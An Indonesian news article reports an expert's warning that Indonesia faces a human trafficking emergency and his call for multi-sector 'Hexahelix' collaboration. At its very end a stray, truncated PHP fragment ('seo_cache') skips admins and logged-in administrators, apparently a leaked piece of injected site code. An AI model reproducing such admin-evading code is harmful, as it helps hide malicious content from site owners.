Nasional

Indonesia Darurat Human Trafficking, Martinus Gabriel Goa Dorong Kolaborasi Hexahelix

×

Indonesia Darurat Human Trafficking, Martinus Gabriel Goa Dorong Kolaborasi Hexahelix

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Tenaga Ahli Kementerian HAM RI Bidang Human Trafficking dan HAM Berat, Martinus Gabriel Goa, menyebut Indonesia saat ini berada dalam kondisi darurat tindak pidana perdagangan orang (TPPO) atau human trafficking.

Menurut Gabriel, Indonesia bukan hanya menjadi negara asal pengirim korban perdagangan orang, tetapi juga menjadi negara tujuan dan transit jaringan perdagangan manusia internasional.

“Human trafficking sudah menjadi kejahatan luar biasa yang mengancam masa depan bangsa. Indonesia saat ini darurat perdagangan orang,” tegasnya dalam pemaparannya terkait solusi kolaborasi Hexahelix untuk penanganan TPPO di Indonesia.

Ia menjelaskan, berbagai bentuk eksploitasi yang sering terungkap dalam persidangan kasus TPPO antara lain eksploitasi seksual, prostitusi, pekerja rumah tangga, buruh perkebunan, hingga pekerja kasar dengan upah rendah.

Selain itu, banyak awak kapal perikanan (ABK) asal Indonesia yang diduga menjadi korban kerja paksa di kapal-kapal asing berbendera China, Korea Selatan, Taiwan, Thailand, Malaysia, Sri Lanka, Mauritius, hingga India.

Gabriel menyebut, sejumlah faktor menjadi penyebab tingginya kasus perdagangan orang di Indonesia, seperti kemiskinan, rendahnya pendidikan, budaya merantau demi memperbaiki nasib, perkawinan usia muda, gaya hidup konsumtif, hingga maraknya jaringan kejahatan terorganisir.

“Bisnis buruh migran berkembang menjadi industri yang sangat menguntungkan sehingga rawan disusupi praktik perdagangan orang,” ujarnya, Jumat (29/05/2026).

Ia juga menyoroti perubahan modus operandi TPPO yang kini semakin canggih. Para pelaku, kata dia, memanfaatkan media sosial dan teknologi informasi untuk merekrut korban.

Selain itu, modus “pengantin pesanan” kini meluas ke berbagai daerah di Indonesia, tidak hanya di Kalimantan Barat tetapi juga Jawa Barat, Jawa Tengah, Jawa Timur, dan Banten.

“Korban bahkan dijadikan pelaku perekrutan baru oleh jaringan utama sehingga jaringan TPPO terus berkembang,” katanya.

Dalam paparannya Gabriel mengungkapkan, terdapat sejumlah jalur perdagangan orang dari Indonesia menuju luar negeri, di antaranya melalui Batam, Malaysia, Singapura hingga Timur Tengah. Sementara jalur domestik perdagangan orang banyak melibatkan daerah Jawa, Bali, NTB, NTT hingga Papua.

Untuk mengatasi kondisi darurat tersebut, pihaknya mendorong kolaborasi Hexahelix yang melibatkan pemerintah, akademisi, masyarakat, lembaga agama, organisasi masyarakat, lembaga adat, LSM, dan pers.

Menurut dia, langkah konkret yang perlu dilakukan adalah memperkuat Tim Reaksi Cepat Pencegahan dan Penanganan TPPO (TRC PP TPPO), merevisi Perpres Nomor 49 Tahun 2023 tentang Gugus Tugas TPPO, serta memperkuat regulasi daerah terkait migrasi aman dan pencegahan perdagangan orang.

Ia juga mendorong pembentukan Badan Nasional Penanggulangan Tindak Pidana Perdagangan Orang (BNP TPPO) agar penanganan TPPO lebih fokus dan terintegrasi.

Selain itu, dirinya menilai penting dilakukan sosialisasi anti perdagangan orang hingga ke desa, sekolah, kampus, rumah ibadah, dan komunitas masyarakat melalui Gerakan Masyarakat Anti Human Trafficking dan Migrasi Aman (GEMA HATI MIA).

“Perdagangan orang adalah kejahatan terhadap kemanusiaan. Negara tidak boleh kalah melawan mafia perdagangan manusia,” tegasnya.

Sebagai tindak lanjut kampanye anti perdagangan orang, pihaknya juga berencana mengelola media digital, membuat film dokumenter, menerbitkan buku, hingga memproduksi berbagai souvenir kampanye dengan slogan “STOP HUMAN TRAFFICKING NOW!” dan “STOP BAJUAL ORANG INDONESIA”. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>